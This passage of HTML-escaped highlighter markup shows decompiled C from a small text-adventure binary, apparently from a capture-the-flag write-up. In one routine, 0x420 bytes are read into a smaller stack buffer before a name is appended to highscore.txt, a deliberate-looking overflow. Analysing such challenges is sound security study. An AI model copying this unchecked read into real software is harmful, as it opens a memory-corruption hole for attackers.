class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">v12<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">v5<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">8<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-82\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">__printf_chk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1LL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;%s Where do you want to go (today)? &#8220;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-83\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-st\">while<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-84\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-85\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">s<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0LL<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-86\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">n<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0LL<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-87\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-e\">getline<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">n<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">stdin<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">&lt;=<\/span> <span class=\"crayon-cn\">0<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-88\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">return<\/span> <span class=\"crayon-cn\">0LL<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-89\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">v13<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-90\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">s<\/span> <span class=\"crayon-o\">||<\/span> <span class=\"crayon-o\">!<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-i\">s<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-91\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">return<\/span> <span class=\"crayon-cn\">0LL<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-92\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">v13<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-e\">strlen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">&#8211;<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-93\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">v14<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-94\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">strcasecmp<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">s1<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">&amp;&amp;<\/span> <span class=\"crayon-i\">v9<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-95\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-96\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">v17<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-97\" class=\"crayon-line\"><span class=\"crayon-v\">LABEL_24<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-98\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">__printf_chk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1LL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;You go %s.\\n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-99\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">free<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-100\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-v\">v18<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-101\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">word_606171<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">v19<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-v\">__int64<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">v17<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-102\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-cn\">23986<\/span> <span class=\"crayon-o\">!=<\/span> <span class=\"crayon-v\">word<\/span><span class=\"crayon-sy\">_<\/span>606171 <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-103\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">goto<\/span> <span class=\"crayon-v\">LABEL_2<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-104\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">sub_400DD0<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">v18<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-105\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">return<\/span> <span class=\"crayon-cn\">0LL<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-106\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-107\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">strcasecmp<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">off_606148<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">v14<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">&amp;&amp;<\/span> <span class=\"crayon-i\">v10<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-108\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-109\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">v17<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-110\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">goto<\/span> <span class=\"crayon-v\">LABEL_24<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-111\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-112\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">strcasecmp<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">off_606150<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">v14<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">&amp;&amp;<\/span> <span class=\"crayon-i\">v11<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-113\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-114\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">v17<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-115\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">goto<\/span> <span class=\"crayon-v\">LABEL_24<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-116\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-117\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">strcasecmp<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">off_606158<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">v14<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">&amp;&amp;<\/span> <span class=\"crayon-i\">v12<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-118\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-119\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">v17<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-120\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">goto<\/span> <span class=\"crayon-v\">LABEL_24<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-121\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-122\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">__printf_chk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1LL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;You can not go %s. Where do you want to go (today)? &#8220;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-123\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">free<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-124\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-125\" class=\"crayon-line\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-126\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b1de589549069-127\" class=\"crayon-line\"><span class=\"crayon-c\">\/\/&#8212;&#8211; (0000000000400CE0) &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-128\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-t\">int<\/span> <span class=\"crayon-e\">__fastcall <\/span><span class=\"crayon-e\">sub_400CE0<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">a1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-129\" class=\"crayon-line\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-130\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">ssize_t <\/span><span class=\"crayon-v\">v1<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rax@1<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-131\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">ssize_t <\/span><span class=\"crayon-v\">v2<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rbx@1<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-132\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e \">FILE *<\/span><span class=\"crayon-v\">v3<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ r13@2<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-133\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">char<\/span> <span class=\"crayon-v\">ptr<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+0h] [bp-420h]@1<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-134\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">_BYTE <\/span><span class=\"crayon-v\">v6<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">7<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+1h] [bp-41Fh]@1<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-135\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">char<\/span> <span class=\"crayon-v\">v7<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+3F8h] [bp-28h]@1<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-136\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b1de589549069-137\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">__printf_chk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1LL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;If you want, you can also add your name: &#8220;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-138\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">memset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">ptr<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x3F8uLL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-139\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">ptr<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">10<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-140\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">v7<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-141\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">v1<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">v6<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x420uLL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-142\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">v2<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">v1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-143\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-v\">v1<\/span> <span class=\"crayon-o\">&gt;<\/span> <span class=\"crayon-cn\">0<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-144\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-145\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">v1<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">ssize_t<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-e\">fopen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;highscore.txt&#8221;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;a&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-146\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">v3<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-e \">FILE *<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">v1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-147\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-i\">v1<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-148\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-149\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">fwrite<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">ptr<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1uLL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">v2<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-e \">FILE *<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">v1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-150\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">LODWORD<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">v1<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">__sprintf_chk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">ptr<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1LL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1017LL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8221; (%d)&#8221;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">a1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-151\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">signed<\/span> <span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">v1<\/span> <span class=\"crayon-o\">&gt;<\/span> <span class=\"crayon-cn\">0<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-152\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-153\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">fwrite<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">ptr<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1uLL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">signed<\/span> <span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">v1<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">v3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-154\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">LODWORD<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">v1<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">fclose<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">v3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-155\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-156\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-157\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-158\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-st\">return<\/span> <span class=\"crayon-v\">v1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-159\" class=\"crayon-line\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-160\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b1de589549069-161\" class=\"crayon-line\"><span class=\"crayon-c\">\/\/&#8212;&#8211; (0000000000400DD0) &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-162\" class=\"crayon-line crayon-striped-line\"><span 